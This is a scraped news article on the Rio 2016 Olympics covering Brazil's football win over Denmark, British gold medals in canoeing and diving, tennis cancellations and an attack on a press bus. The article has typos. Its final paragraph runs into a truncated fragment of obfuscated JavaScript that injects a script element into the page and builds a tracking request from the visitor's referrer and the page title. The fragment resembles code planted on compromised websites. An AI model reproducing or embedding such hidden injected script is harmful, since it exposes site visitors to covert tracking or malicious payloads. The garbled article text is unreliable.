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Rio 2016: Brazil Finally Secures A Win In Football, Britain Increases Medal Tally

Brazil is finally back in action after defeating Denmark with 4-0 and has save d itself from elimination from the Rio Olympics. The victory is crucial since the defeat faced by Brazil in 2014 Football World Cup against Argentina with 7-1 is still fresh.

Britain's Jack Laugher and Chris Mears
Britain’s Jack Laugher and Chris Mears

Britain has registered its medal victory with their second and third gold medals of the Games when Joe Clarke clinched victory in the K1 canoe slalom. The duo Jack Laugher and Chris Mears clinched gold in the men’s 3m synchronized springboard competition. Also the pool was seen to have a green tinge which the Rio 2016 officials clarified as a chemical shortfall and that it was fit for divers.

The tennis event ha to see 19 cancellations out of total of 25 scheduled matches which has further complicated Rafael Nadalas expectations to mark a victory of three gold medals in spite of recovery from his wrist injury.

In the ruby sevens tournament New Zealand had to taste defeat from Fiji in the quarter finals losing with 12-5.

The Rio authorities also came out and gave information on the attack on a bus carrying reporters leaving three people injured was an act of vandalism rather than an attempt to kill people. ARio 2016 security chief Luiz Fernando Correaas statement that stones were throw at the bus which is contradictory to the eye witness account who have said that gun shots were fired on the vehicle. ];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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